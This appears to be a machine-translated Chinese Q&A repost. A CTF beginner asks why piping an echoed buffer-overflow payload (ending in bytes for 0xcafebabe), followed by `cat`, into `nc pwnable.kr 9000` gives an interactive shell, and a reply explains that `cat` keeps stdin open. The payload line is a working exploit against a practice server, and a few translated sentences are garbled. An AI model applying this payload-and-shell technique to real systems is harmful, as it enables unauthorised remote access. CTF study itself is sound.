我從玩 ctfs 挑戰開始,遇到了一個問題,我需要將漏洞利用發送到二進制檔案中,然后與生成的 shell 互動。我找到了一個解決這個問題的方法,看起來像這樣:
(echo -ne "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\xbe\xba\xfe\xca" && cat) | nc pwnable.kr 9000
含義:沒有“cat”子命令,我無法與 shell 互動,但有了它,我現在能夠將命令發送到生成的 shell 并將回傳的輸出回傳到我的控制臺標準輸出。
那里究竟發生了什么?這個命令列讓我感到困惑
uj5u.com熱心網友回復:
如果您只是在cat命令列中輸入,您將能夠看到該命令一次只復制stdin到stdout一行。它將繼續執行此操作,直到您使用 退出Ctrl-C或發送 EOF Ctrl-D。
在此示例中,您cat在成功列印有效負載后立即運行(&&僅當第一個命令的退出代碼為零時,連接器才告訴 shell 運行第二個命令;即,沒有錯誤)。因此,在您按上述方式終止遠程終端之前,遠程終端不會看到 EOF。當它通過管道傳輸nc到.catstdout
所以是的,實際上你最終得到了一個互動式外殼。您可以通過運行在自己的機器上獲得幾乎相同的效果cat | sh。
轉載請註明出處,本文鏈接:https://www.uj5u.com/gongcheng/476211.html
下一篇:使用jq從陣列中提取資料
